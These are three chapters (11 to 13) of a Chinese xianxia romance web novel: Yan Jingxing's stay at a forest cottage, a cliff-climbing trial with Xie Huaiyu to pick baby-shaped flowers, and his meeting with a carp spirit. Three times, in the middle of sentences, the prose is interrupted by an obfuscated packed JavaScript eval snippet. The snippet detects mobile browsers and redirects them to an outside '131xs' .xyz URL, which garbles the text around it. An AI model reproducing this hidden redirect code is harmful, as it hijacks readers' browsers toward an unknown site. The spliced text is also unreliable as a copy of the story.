晏景行劝道:“我求了林伯好久,他才同意给我炒,你就收下吧。” 他一边嘴上求着人,一边手上强行用手指钻开谢怀玉的掌心,把散发着松香的松子放在上面。 谢怀玉做不出把东西随意抛洒的行为,想还回去,晏景行已明智地把两手藏在胳膊下方,带着一丝狡黠望着他。 谢怀玉安静地把松子收进了衣襟中,问道:“你怎么住在安陋居?” 晏景行把手拿下来,道:“沈师兄安排我去那里的。” 谢怀玉皱了下眉:“你可以跟祝风歌说,换地方住。” 晏景行不在意地笑笑:“那里挺好的,林伯每天都做饭给我吃。” 谢怀玉短暂地跟他目光相接,又飞快移开:“好。” 晏景行又问:“你去过安陋居吗?要不要跟我一块儿去看看?能捡松果,采蘑菇,还能掏鸟窝呢!” 谢怀玉停下脚步:“鸟窝?” “对啊。”晏景行豪爽地一拍胸膛,“我带你去玩。” 他拉起谢怀玉的手腕便要走,被人用了个巧劲逃脱。 谢怀玉收回手,努力忽略肌肤残留的余温,语气不甚赞同:“蓬莱仙岛的鸟兽都通灵性,不可随意伤害。” 知他误会,晏景行解释道:“我没伤害,我就好奇看了看,最多摸了摸。那鸟蛋孵的小鸟,还常飞到院子里,看我劈柴呢!” 劈柴? 谢怀玉眉头皱得更深:“为什么要劈柴?你来蓬莱,不是为修仙?” 11. 山雪3 晏景行挠挠头,不知为何,面对谢怀玉,他不太好意思说出自己资质太差的事。 “我……我是废灵根,你应该也看见了。”他垂下头,手指无意识摸向腰牌,“我连到筑基期都很困难,所以沈师兄让我在锻体上多下功夫,看能不能通过苦其心志,劳其筋骨,有所突破。” 听他说到这事,谢怀玉想起自己曾探过晏景行的奇筋八脉,活跃有力,偏靠近心脉附近,灵力不仅过不去,还被反弹了回来。 似乎有一道枷锁封闭了所有通道,又或者处于沉睡状态,尚未苏醒。 晏景行说完,等了半天,谢怀玉也没出声。 他心底一沉,问道:“你怎么不说话了?” “说什么。”谢怀玉不懂他的心思,有心想探究为何他筋脉不通,“你不是要带我去安陋居?” 担心被谢怀玉嫌弃的忐忑之情,瞬间飞到了九霄云外。 晏景行展颜一笑:“我现在就带你去!” 话音刚落,不用他带路,谢怀玉一挥袖,眼前一阵轻云蔽目。 晏景行定睛一看,前后不过眨眼的功夫,他们已到了安陋居。 “谢琢,你真厉害!”晏景行只觉得自己在云里穿梭了一回,面上还有凉风吹拂的余感。他看向谢怀玉,眼里闪着星子般的光芒。 谢怀玉抿着唇,很多人夸过他厉害。在他斩获妖邪,荡平魔窟时,那些获救的百姓都这么说,他早已不足为奇。 但不知为何,晏景行说这句话时,他却觉得有些不一样。 是因为……眼睛吗?夜星一样明亮纯粹,不含一丝杂质与虚伪。 谢怀玉微微点头,示意自己知道了:“勤加修炼,你也能做到。” “好。”此话真心,但十分客套,常人听了大多一笑而过,晏景行却神情认真,“我会多加练习的,绝不偷懒。” 两人说话间,一只鸟雀飞来,绕着房梁转了几圈停在屋檐上。 “看,就是它!”晏景行跑到鸟雀底下,冲它挥手,“小彩,你又来了。” 谢怀玉看了一眼,道:“是五色雀。” 晏景行恍然大悟:“难怪它的毛发五颜六色的,这种雀是什么很厉害的灵鸟吗?” 谢怀玉道:“五色雀慧目识贵,能被它接近的,大多是一些出类拔萃、大有作为的能人异士。” 晏景行听得压不住嘴角:“那它接近我,莫非是看出我前途无量?” 谢怀玉并不能保证这种未卜之事,但看着晏景行隐约带着期待的眼神,他微微点头道:“是。” 在安陋居被晏景行拉着欣赏了他摘的松果,蘑菇,捡到的几块形状奇怪的石头,以及孵完鸟蛋被丢弃的三个鸟窝后,谢怀玉收到了晏景行精心挑选的,颜色、形状最漂亮的一块石头。 他捧着手心的那抹温凉,语气略带狐疑:“这个,有何作用?” 晏景行道:“你看它的形状,像不像一颗心?而且颜色黑白相间,特别漂亮。这么奇特的石头,我还是第一次见,所以送给你。” 这段话前后的因果关系,谢怀玉琢磨了一会儿,没琢磨明白。不过,自出生到现在,这是他第二次被人送东西,感受颇为新奇。 第一件东西他用不上,第二件倒可以摆在屋里,当个装饰。 谢怀玉不觉得用一块石头当装饰有什么不对,毕竟晏景行夸它漂亮,足以说明它的价值。 晏景行趣味不减,兴冲冲地进屋,翻箱倒柜地想再拿些东西。 等他出来一看,院子里已经没有了谢怀玉的身影。 五色雀扑腾着翅膀飞下来,围着木桌转。 晏景行抱着一堆或残缺或完好的木雕,走到木桌前一看,刚浮现的落寞神情一扫而空。 木桌上,谢怀玉留下了一行简洁的红字:“多谢,告辞。” 蓬莱仙岛外,被逐出仙门的两人到了船舶处,焦急地来回踱步。看见云不还出现那刻,才稍微放下心。 一人道:“我们试探过了,那晏景行的确是废灵根没错。” 他们盯着云不还手里沉甸甸的荷包,眼神流露出贪婪之色:“那个,说好的报酬……” 云不还把沉重的荷包丢过去,露出一个意味不明的笑:“走好。” 两人欢天喜地,转身往船上走。 他们天赋不高,止步于筑基期。想着反正已经学了几门法术,不如回家用这项本领糊口。 离开前,云不还找到他们,承诺只要他们试探出晏景行的真实本事,便可得一袋黄金。 如此无本生意,两人自然是二话不说,当即答应。 上了船,一人迫不及待道:“快打开看看,是不是真黄金。” 刚才在云不还面前,两人莫名有些忌惮,不敢当着他的面确认。 另一人扯开荷包,入目金灿灿的一片,顿时两眼放光。 “赚到了!我们赚到了!哈哈哈哈!” 云不还阴冷地盯着缓缓离开的船舶,转身的刹那,船上传来两道凄厉的惨叫。 天色转暗,谢怀玉回到载雪楼。楼阁的外院喷泉流水,地面飘浮着一层朦胧冷雾。越往里走,冷雾愈重,泠泠的水流被冻塞成冰,却因只冻了一半,间歇地发出大喘气的咕咚声。 雾凇沆砀,一直到悬挂着一串风铃的卧房外。几棵梨树的枝条终年被沉重的冰凌压弯,垂抵至窗台,宛如垂暮之年的人。 窗棂内出现一道白影,随即一声咔嚓轻响,窗户被一只清瘦的手推开。 谢怀玉拿出握了一路的石头,静静看了一会儿,放在了窗台。不一会儿,石头褪去所有温度,与周遭同化,之前的余温仿佛从未存在。 松子拿出来时,也因时间太久,失去了所有松香。 谢怀玉神情有一丝稍纵即逝的怔愣,他环顾屋内,没找到合适的东西装松子,只得先放在书桌上的砚台里。 转身间,风铃摇响,谢怀玉心念一动,放外面的传信灵咒进了屋。 “明日新弟子初次历练开启,弟子蓝涧恐出纰漏,请少岛主前来督查。” 蓬莱仙门每隔三年的三月招收一次弟子,算下时间,今年也的确到了历练的时候。 晏景行垂头丧气,言自己是废灵根的画面,仍历历在目。 谢怀玉挥散灵咒,在屋内环视一圈。原封不动了十六年的屋里,多了两样本不属于这个屋子、但现在却属于他的东西。 或许,他该礼尚往来一次。 天气步入暑热时节,晏景行劈完一摞柴,按井字整整齐齐地叠放在墙角。 他从水缸里舀了瓢清凉的溪水,囫囵洗了把满是汗的脸。浓密的眉毛沾湿后,颜色深了几分。水珠从他挺直的鼻梁滑落,停在微翘的唇峰。 林伯昨天刚从外面回来,他身上背着一把斧子,准备进山。 晏景行听见脚步声,回头间,水珠不知甩落何处:“林伯,您去哪儿?” 林伯头也不回道:“山上有棵树倒了,把路给拦住了,我去把它砍了挪开。” “诶,我去吧。”晏景行擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540500|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了擦脸,追上去,“我力气大,砍得快。” 或许是“砍得快”三个字,听起来颇具更胜之意,林伯这才回头,一脸复杂:“我修仙三十年,虽然没修出个什么名堂,但活个百来岁不成问题,正是壮年,哪里就比不过你了?” 林伯没把斧子给他,指了指院子里的竹椅:“你虽然水平不高,法疏学浅,但仙门试炼一类的活动最好不要漏下。今早有人传信来,通知所有弟子午时在隐云殿回合,派发历练任务。” “你年纪轻轻,总不能像我一样在这儿浑噩度日。去吧,路还长。你若是真想把日子就这么浪费在这一隅之地,我可要夸你一句没出息了。” 类似的话,晏西施以前天天在他耳边念叨,当时他不在意。如今从旁人口中听见,他才恍然明白,其实晏西施从来都不觉得他没出息。 晏景行收回想拿斧子的手,眼眶微热:“我知道了,林伯。” 他转身,拿起竹椅上的那封书信,拆开,纸张化作一行金字浮现空中: “今日午时隐云殿——蓝涧。” 刚看完,金字便消失了。 林伯道:“去吧。” 晏景行也不扭捏,扯过椅背上的毛巾擦干脸上的水:“好,林伯,我明白你的意思,我这就去隐云殿!” 此次历练的任务难易不一,不少弟子争先恐后选了任务比较轻松的牌子,晏景行来的时候,只剩下斩杀精怪、攀崖摘花两件难事。 连长机为了完成历练,特意赶回仙门,如今的他气质跟以往判若两人。虽然金浇玉养的那股贵气还在,但第一眼看过去,只会注意到他举止间的风雅仙秀,乍一看,跟神仙无二。细窥后,才慢慢察觉出凡胎肉//身。 连长机有心帮晏景行拿其他牌子,被蓝涧制止,只能拿属于自己的那份。 晏景行听完,笑着说了句“没事”,取了摘花的牌子。 蓝涧在一旁看见,犹豫了几秒,还是开口提醒道:“这次的精怪都是一些惧火的小型兽类。” 言外之意,只要会控火便能轻易完成。 晏景行扫了一圈周围,有些犹豫要不要换牌子。 这时,陆思涯匆忙赶来,看见晏景行跟连长机,下意识露出笑容:“景行兄,长机兄,你们都来了。” 有段时间没见,三人并没生分,连长机问:“你怎么来这么迟,遇到什么事了吗?” 陆思涯含糊道:“有点事耽搁了,没什么。你们都领了任务了?” 蓝涧道:“只剩一块牌子了。” 陆思涯视线在晏景行手里的摘花牌子上停留片刻,道:“那我便去杀精怪吧。” 发完牌子,蓝涧道:“大家随我来。” 等殿内人离去,刻意收敛气息的谢怀玉方现身。他唇缝紧闭,眼神无波无澜地盯着晏景行跟身旁两人,说说笑笑地往外走。 一施法,他手中多了块牌子。 传送阵开启,所有弟子进入阵内,传送到各自的任务地。 晏景行睁眼,一道足有两人宽的地缝呈现眼前。 地缝边站了一个熟悉的人,底下腾冲上来的阵阵热气,吹得他衣边如浮云飘散,又似轻烟寥寥。 “谢琢,你怎么来了?”晏景行以为自己看错了,用力眨了眨眼,视线里的人始终在那儿。 他跑过去,被热气冲了一脸,赶紧把人牵着远离地缝:“你别站在这里,热气熏久了不好。” 谢怀玉微微偏头,神情是一贯的漠然:“好巧,你也是摘花。” 12. 山雪4 “你也是?”晏景行把他的牌子翻过来,跟自已的牌子靠着一看,果然都是摘花,“太好了,我们可以一起做任务!” 谢怀玉目光扫过靠在一起的两块牌子,紧抿的唇松开一些。 两人任务里要摘的花名为祝赊,距离他们的位置遥远。需翻崖越岭,穿过成精藤蔓才能找到。 翻崖越岭不算难事,难的是成精藤蔓一旦缠上,极不容易解开。且这些藤蔓都无害人之意,只是通过历练的一项考验,因此不能随意斩杀。 这里的悬崖几乎都是一面被劈开,另一面完好的形状。只有被劈开的一面,才有从崖顶垂到崖底的藤蔓。 为了防止弟子们攀崖用法术,仙门特意设了结界。结界内,法术没法使出来。结界顾及不到的地方,一旦动用法术,便会有一群鸟雀或昆虫出来,拖延打断他们的动作,迷惑分散他们的视线。 晏景行看了一眼谢怀玉,拉住一根藤蔓用力拽了拽:“谢琢,你说这藤蔓这么细,会不会在我们爬到一半的时候,撑不住断了?” 谢怀玉道:“不会。” 晏景行放了心:“那就好,对了,你会爬山吗?这里不能用法术,要不要我背着你?” 怕谢怀玉不好意思麻烦自己,他特意解释道:“反正我力气大,你看着又瘦,带你一个没问题。” 谢怀玉意味不明地看了他一眼,利索地将藤蔓缠在腰上,单手抓紧,身子像一棵立根悬崖的斜长青松,双足踩着崖壁往上,步子如雨点,轻且巧。 晏景行仰头,愣愣地张嘴,看着谢怀玉身影远去。回过神赶紧效仿他,把藤蔓绑在腰间,双手交替攥紧藤蔓,脚下用力踩着崖壁。 他身子不像谢怀玉那样轻盈,姿势也不如谢怀玉潇洒,但好在效果差不多。 快到崖顶时,崖壁几乎没有可以垫脚的地方,晏景行一踩一滑。他低头观察,瞅准旁边一处微小的凹坑。 脚尖堪堪放上去,重心集中放在脚趾,用力踩稳。猛一蹬腿,凹坑的石块“咔”一声松落,人也跟着滑了下去。 双手交替出现滞空,视线里一举一动都放慢数倍。脑子里有个声音催促他赶快抓紧藤蔓,身体动作却慢了一拍,只能眼睁睁看着藤蔓往上。 等重新抓住藤蔓,人已经滑到了半山腰。 掌心传来火燎般的刺痛,晏景行上涌的血液缓缓平静。他抱着藤蔓,蚂蚱一样吊在半空喘气,心跳如狂,暗道:“还好没背着谢琢,否则丢脸丢大了。” 庆幸完又忍不住哀嚎,一失足又得重新爬,这下真要成千古恨了。 晏景行咬牙,抬头见一条雪绸,银白瀑布一样倾泻而下,流过他面上。雪绸落到藤蔓边,没再继续往下掉,而是往他腰身缠绕。 一挨上去,晏景行身上的藤蔓叶子蜷缩如蛇蜕,松了劲回到崖底。没了支撑,他的身体却仍悬在半空一动不动。 一股力量束紧他的腰,拖着他往上。晏景行摸摸腰上的雪绸,柔软光滑,认出这是谢怀玉银冠上那条。 待晏景行上来,平稳落地,谢怀玉一挥手,雪绸缩成一米长左右,回到银冠上。 他转身道:“走吧。” 晏景行感激地跟上去,收着力拍了拍他的肩:“好兄弟,谢了啊!不过这里不是不让用法术吗?你这么做,会不会被判为作弊?” 谢怀玉道:“崖顶在结界外。” 就算是结界之外,也会有其他东西干扰。 晏景行朝四周看去,一群飞鸟忌惮地停在空中,远远相隔。 他得意地哼笑一声:“这群欺软怕硬的墙头鸟。” 这只是第一座悬崖,后面还有三座,晏景行爬到最后一座时,终于忍不住开口服软:“谢琢,我要渴死了,我想喝水……” 他胸膛前的仙服,隐约透出斑驳的深色块状。衣袖湿润,汗落成雨。 谢怀玉停下脚步:“你没有辟谷?” 晏景行老实地摇头:“不过我很快就能辟谷了,你可别在心里偷偷嫌弃我啊。” 谢怀玉不懂自己为什么要嫌弃他,于是没再说话,一言不发地往前走。 没得到准话,晏景行抿紧干燥的唇,亦步亦趋跟在身后。听见水声的那一刻,他诧异地抬起头,一条清澈见底的溪流映入眼帘。 谢怀玉走到一截倒下的树干前,坐了下来,附近的草木柔软地触碰他的衣角,被他无情地一手挥开。 晏景行如离弦之箭飞向河边,跪在地上,用最后的意志力克制自己,没把头直接埋进水中,而是双手作碗,泼水猛灌。 喝完,他洗了好几遍脸,直到水面倒映出干净的五官才作罢。 “谢琢!”晏景行回头喊,“你喝不喝水?” 谢怀玉干脆道:“不喝。” “那,”晏景行犹豫了一下,“那你要不要洗脸?” 谢怀玉道:“不洗。” 晏景行怂恿道:“你来试一下,这水可舒服了。” 谢怀玉不动如山。 山不向他来,他便向山去。晏景行捧着水,摇摇晃晃,不出意外走到半路就漏完了。 他返身回河边,坚持不懈继续捧。 反复几次,谢怀玉终于看不下去,一道灵力打进旁边的草丛,取回来一片类似荷叶的叶子,飞向晏景行。 晏景行抬手接住,用叶子装了水,开玩笑道:“来来来,我给你洗脸。” 谢怀玉皱眉,不解道:“这是你的癖好?” 晏景行本来只是想逗逗他,见他居然没反抗,半惊半喜地从袖中扯出一条嫩青手帕,沾了水往谢怀玉脸上擦:“你先前帮了我,就当我谢谢你了。” 谢怀玉少见的没躲开,任由晏景行给自己擦脸。 这种感觉陌生又新奇。像他曾见过的两只山中白猿,一只给另一只捉虱子,舔毛发。 亲近,又或者说亲密。 人与人之间,也能这样相处吗?谢怀玉略微失神。 擦完脸,晏景行乐滋滋地把手帕洗干净,用法术褪去水分,收进袖中。 “走吧。”谢怀玉起身,“别耽误了时间。” 过了断崖山岭,两人终于抵达祝赊生长的崖顶。 谢怀玉停下脚步道:“你去摘吧。” 晏景行不疑有他,一边拍着身上的灰,一边走过去。 旋即,他又惊又惧道:“谢琢救命!这这、这里有好多孩子!” 谢怀玉淡定道:“那是祝赊,形状似婴童的花朵。” 晏景行脸都吓白了,反应过来,本想质问,但恐惧未消,一开口反而流露出委屈:“你是故意让我来摘的?” 谢怀玉摇头道:“不是。” 晏景行一想也对,谢怀玉不至于这么无聊。 他看着躺在地上的“婴儿”,哭丧着脸道:“哪有花长这样的。要我怎么摘啊,是把它们从脖子那里扯下来,还是拦腰折断?它们待会儿不会突然把眼睛睁开吧?不行啊,谢琢,我害怕,你快过来!” 谢怀玉依言过去,站到晏景行身旁:“摘吧。” 晏景行不敢直视,双手缩进袖子里,隔着布料抱起祝赊。 “啊!”胜似人体的触感与温度,吓得晏景行颤声问,“谢琢,是孩子!它怎么这么像孩子?!” 谢怀玉不顾他叫唤,握住他的手腕道:“抱紧。” 晏景行脚下犹如腾云驾雾之感,落地时人已经回到了隐云殿,手上的祝赊还在,唯独不见了谢怀玉。 “不对啊。”晏景行正要找人,反应过来,“我只摘了一朵祝赊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540501|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢琢的任务怎么办?” 蓝涧走过来道:“景行师弟,就差你了。” 他抱过祝赊,掂了掂重量,有些惊讶:“居然还是成熟的祝赊,你运气不错啊。” 晏景行遭祝赊吓得不轻,听见这话恢复了一些精神,问道:“蓝涧师兄,既然你都这么说了,那我有没有什么奖励?” 蓝涧道:“景行师弟,别着急。历练的经验,不就是你获得的最宝贵的奖励吗?” 晏景行瘪了下嘴:“我除了被吓一大跳,什么经验都没得到。” 蓝涧抱着祝赊,笑得宛如慈父:“那我把这祝赊煮了,给你好好补补身子?” “不吃!”晏景行一下跳开几步,“这东西长成这样,跟吃人有什么区别?” 蓝涧大笑道:“这有什么,难道人参你也不吃吗?” 晏景行瞥了他一眼,小声道:“那怎么能一样,人参可是好东西。再说了,人参长得根本不像人。” 蓝涧不逗他了,认真道:“景行师弟,你挺讨喜的,师兄同你说句掏心窝子的话。” 晏景行往后退了半步:“蓝涧师兄,你说话就说话,别掏心窝子。” “你这孩子。”蓝涧一拍祝赊,在晏景行惊恐的目光里,把它拍成了一颗丹药,捏在指间,“你可知这祝赊有何作用?” 晏景行摇头。 蓝涧道:“拔苗助长,你应该听说过,祝赊的作用就是这个。它能短时间内迅速提升人的法术,并且副作用很小,无非是做几夜噩梦,精神不佳之类的。” 晏景行听明白了他的意思,凑上前,目含期待道:“蓝涧师兄,你是想把这个祝赊给我吃?” “那倒没有。”蓝涧收起丹药,“我就说出来馋你一下。” 晏景行大声道:“我回去了!” “诶,等等。”蓝涧喊住他,“这祝赊是要放进丹心楼的,我不能给你。不过同你说这些,是想告诉你,或许你灵根的不足,可以通过丹药弥补,毕竟后面还有一场更大的历练等着你们,不对,是所有蓬莱仙岛的弟子。” 末了,他拍了拍晏景行的肩:“未雨绸缪,方能临危不乱。” 晏景行被这番话砸蒙了头脑,满腹疑团地回到安陋居,院子里正坐着连长机跟陆思涯。 “你们怎么来了?”晏景行暂时将蓝涧的话抛之脑后,坐在剩下的空位上。 木桌上放着一盘炒松子,连长机停下剥松子壳的手,拍了拍不存在的灰尘:“任务顺利吗?” 晏景行点头道:“挺顺利的。” “那就好。”连长机看了眼陆思涯,两人大概提前商量过什么,“我们来是有正经事想跟你说。” 晏景行笑了:“你还会干不正经的事儿么?” 陆思涯拍拍桌子:“严肃,景行兄,这事儿可大了。” 晏景行配合地板起脸,做了个手势:“连兄,请讲。” 连长机好笑地摇了摇头,开门见山道:“蓬莱仙岛六月初一,会召开十年一次的天狗之逐,届时全岛的宗门弟子都会参加。” 晏景行道:“天狗?是话本里食月的那个什么神兽吗?” 陆思涯道:“差不多吧。只是这次历练,会有另外两个门派的弟子。人数众多,弟子间法术差距大,运气不好,还可能在比赛期间丧命。” 晏景行正色道:“这么严重?” “对。”连长机点头,“所以我跟思涯很担心你。我俩商量好了,进去后,我们三个时刻走在一起,尽量不分散,应该不会有危险。” 陆思涯道:没错。毕竟所有弟子都参加的话,我们基本没有争夺第一的胜算。师兄们法力高强的不少,而其他宗门的人,我们更不知道底细。谨慎起见,我们最好不要跟他们有利益冲突。” 13. 识香 晏景行道:“这也太不公平了,我们才修几个月的仙,怎么能跟他们修了好几年,甚至十几年的比呢?” 连长机无奈:“没办法,这个比赛本就不讲公平。” 晏景行猜测:“听思涯所说,这次的比赛,不仅分名次,还会有奖励?” 连长机道:“自然。据说表现越出色、能力越优秀的弟子,有机会被天后认可,获得赠礼,只是不知道是什么样的稀世宝物。” “啪——” 他刚说完,一本陈旧但边缘完好的书被人放在桌上。 林伯因常年劳作而青筋鼓起的手撑在书边:“这里面有,你们看吧。” “奇、物、宝、鉴。”晏景行照着上面的字一字一句念出来,抬头问,“林伯,这是你的书吗?” 林伯摇头道:“不是,是仙门的。凡参加天狗之逐的弟子,都可以领一本。” 晏景行把书放在三人中间,翻开书页:“十年举办一次,要是每次都参加,算下来也有三次了。” 林伯给院子里的菜浇完水,路过三人道:“这上面都是天狗可能会赠送的宝物,你们了解一下也好。” 连长机跟陆思涯站起身,齐声道:“多谢林伯。” 晏景行翻了半天,终于看见一个感兴趣的:“这个好!” 左右两人凑过来一看,是一对菱形的血红耳坠,下面连着碧绿的流苏,看上去就是一件再简单不过的饰品。 陆思涯道:“这像是女子戴的耳坠。” 晏景行托着下巴问:“好看吗?” 陆思涯迟疑地点了下头:“好看是好看,不过不像是有什么厉害作用的法宝,莫非你喜欢这些?” 晏景行哼哼两声,脑中闪过一个忽略的细节:“等等,天狗之逐全仙门的弟子都要参加,宝君仙子……她应该也是仙门弟子吧?这样的话,我岂不是就能看见她了?” 连长机想了想道:“我觉得应该是,蓬莱仙门不是没有女弟子。” 晏景行一拍木桌:“好,那我就不着急了。本来还想找少岛主帮忙,引荐我见仙子一面,现在不用了。等天狗之逐的时候,有的是机会。” 他吹了声响亮又悠长的口哨,起身道:“你们慢慢看吧,我去挑水。” 等晏景行挑完水回来,连长机跟陆思涯一个要回去练剑,一个要回去画符,就都告辞了。 晏景行把书放回林伯屋里,在院中温习法术。他将已经会的巩固了一遍。至于其他的,只能听天由命。 晚膳时间,晏景行跟林伯打过招呼,去仙门吃饭。 倒不是林伯做的不好吃,而是蓬莱仙门的一日三餐,都是食修的那些弟子们做的。不仅味道香绝,大多菜肴还能滋养识海。一旦出现稀有菜肴,弟子们甚至不顾礼仪一哄而上,争抢分食。 晏景行不奢望什么稀有菜肴,平常的已经足够滋养他的识海,争来争去,若争出是非,实在得不偿失。 他今日已挑过水,用完饭不急着回去,便在仙门无所事事地闲逛,误打误撞进了一片紫竹园。 园中小桥流水,河边有一竹筏。 晏景行身轻如燕跳上去,挑起横躺在竹筏边上的船篙,抵岸一推,水面荡开波浪,竹筏缓缓前行。 两岸紫竹经风一吹,沙沙作响,犹如哼唱。晏景行从小便会凫水,自然对船、舟一类的东西不陌生。 他划得又快又稳,很快抵达小河尽头。 晏景行放下船篙,一跃落在花色石子路上。出了竹林,又见一座红桥架在前方。 红桥下,清澈的河流于湍急处溅起雪白的浪花。蓬莱的荷花开得早,谢得晚,此时正是荷叶清润圆正,荷花竞相映红的时节。 清香随风至,池中锦鲤若隐若现。晏景行拨开池边凝空的仙雾,摘了一朵手掌大的莲蓬,到对面的闲亭坐下。 他双臂倚着栏杆,剥开莲子一颗接一颗往水里砸。接连几条锦鲤捧场,跃出水面夺食莲子。 晏景行往左丢莲子,几条锦鲤便从左跃起。往右丢,它们又从右边跃出,不由感叹一句:“不愧是神仙养的鲤鱼,这般通人性。” 他投得更加起劲,没一会儿,一朵莲蓬便丢完了。 池塘离亭子不过一臂之遥,晏景行懒得出去绕一圈,直接将半边身子探出栏杆,伸手去摘距离最近的一朵饱满莲蓬。 正要折断荷梗,一道稚嫩的声音喝来:“住手!何人私采莲蓬?!” 晏景行心里咯噔一响,还没看清来人,手中已松开弯曲的荷梗。荷梗前后摇摆,晃出几道控诉的虚影。 没过多久,急促的脚步声逼近闲亭,进来一个穿着绿罗衫的双髻小丫头。看见罪魁祸首,她粉白小脸含着怒气:“你这弟子好生大胆,你可知道这荷花是谁种的?” 晏景行见她如此生气,顺着她的话问下去:“弟子不知,请问是谁种的?” 女童哼了一声:“这是我们宝君仙子的荷花池,旁人别说摘了,就是看也是不许看的!” 晏景行道:“这么霸道啊。” 说完,他才意识到女童提到了谁,神情一僵,像是闷头被天上的馅饼砸中,还没来得及高兴,紧接着想到自己折了仙子种的莲蓬,顿时懊悔不已,从脖子到脸颊,又羞又愧地红成一片。 “你什么语气?”女童指着他,看见地上散落的莲蓬残躯,十指捏成双拳,跺脚道,“你、你竟然已经摘了,我、我要去仙子那里告你!” 晏景行哪里能让她去,双手合十,对着她低头恳求:“你别去告我,我只是想喂鱼,下次再不会犯了。” 说完,他等着女童的责备,哪知对面的人忽然间没了声音。抬眼一瞧,女童瞪大了一双水盈盈的眼眸,嘴唇张大,惊讶道:“你说喂鱼?” 晏景行迟疑地点了点头:“对,喂鱼。” 女童瞬间涌出眼泪,喜道:“知己啊!知己!” 她扑过去,被晏景行闪身躲开了。 她前后态度转变之快,差别之大,让晏景行颇为惊讶,问道:“小妹妹,你不生我气了?也不告我了?” 女童露齿一笑,粉白的脸上,还挂着喜极而出的泪珠:“我为什么要告你呀?” 晏景行摸不透她的心思,又问:“你为什么要叫我知己?” 女童一听,收了笑,神情严肃道:“因为你喂鱼,对鱼好,是好人,所以是知己!” 这番话更叫他疑惑,不过小孩子大概都这般前言不搭后语,晏景行没在意,放松了紧绷的身躯,拍了拍长椅道:“来,坐这里。既然你说我们是知己,不如我们互相了解一下。” 女童点头,发髻上的嫩青绒花跟着一上一下:“好啊。” 晏景行道:“你这么小,家人也送你来蓬莱修仙吗?” 女童道:“我不小啦,我是宝君仙子养大的。” “那你一定很了解仙子咯?”晏景行瞥她一眼,“仙子的事,你都知道多少?说出来我听听。” 女童道:“知己,你这是醉翁之意不在酒吗?” 晏景行没想到她一个小丫头,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540502|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此火眼金睛,嘿了一声:“你还挺聪明。我叫晏如,你可以叫我一声晏大哥,或者景行哥。” 女童眨了眨眼:“我叫红鲤,今年六百岁了,叫你哥哥……你比我还要大吗?” 晏景行被她一句六百岁,砸得脑中一懵,磕磕巴巴问:“你、你说你多少岁了?” “六百岁呀。”女童晃了晃没法落到地面的双脚,“我们小鲤鱼修炼成人,一般都需要千年,我因为被宝君仙子养在她的瑶池里,所以提前化为了人形。” 晏景行腾一下站起身,往后连退了三步,双目睁大道:“你是鲤鱼精?” “对!”红鲤跳起来,仰头叉腰,神气十足,“我可是全蓬莱,唯一一条千岁以下的鲤鱼精呢!” 晏景行低头打量她。 虽然红鲤口口声声说自己有六百岁,但她看着最多不过十岁的模样,五官精雕细琢,好似精致陶瓷。一双明眸格外吸引人,乌黑的瞳孔里,有一条红尾小鱼绕着眼珠环游。 晏景行瞪目结舌,好半天才回过神:“红鲤,你眼睛里是?” “咳咳。”红鲤努力压着嘴角,没压住,扑哧一声笑了出来,“这是我的本体,是不是很可爱?因为我化成了人形,但其他同类还在池塘,所以我经常来偷偷喂它们。你是我见过的,第一个会喂鱼的人,这不是知己是什么?” 晏景行在她面前蹲下,啧啧称奇:“我还是第一次见……你这样的‘人’,以及认知己的标准。” 红鲤被他看得有些不好意思,想起他之前问的话:“对了,你问我宝君仙子的事,具体指什么呀?” 提到这个,晏景行眼睛一亮,拍着红鲤的肩头道:“我们坐下说。” 两人坐下,晏景行瞟了一眼四周,语气带了几分羞涩:“我想知道,关于仙子的一切,越详细越好。比如喜欢什么,讨厌什么之类的。” 红鲤小小地“啊”了一声:“我们鲤鱼是记不住这么多事的。” 晏景行道:“那就挑你记住的那些说。” 红鲤掰着手指头开始数:“仙子——也就是我的主人,喜欢荷花,当然不止荷花。喜欢种花养草,讨厌摘她种的东西的人。” 晏景行沉默片刻,虚心求问:“……有什么补救的办法吗?” 红鲤捂着嘴笑:“瞧你吓的,脸都白了,真是胆小鬼。” 晏景行不否认这句“胆小鬼”,他的确担心给仙子留下不好的印象。 红鲤道:“好啦,这也没什么大不了的,我经常偷偷摘莲蓬喂鱼,主人每次都对我特别宽容。” “你是她养的,我又不是。”晏景行叹了口气,只能想了个下策,“今天的事,你帮我保密行不行?” 知己有求,红鲤哪能不应。她讲义气地拍拍胸脯,正要答应,感应到一股熟悉的气息,脸色忽变:“惨了惨了,主人来寻我了!” 话音未落,一道窈窕身影已落至亭内,晏景行赶紧起身,低眉垂眼挡在红鲤面前。 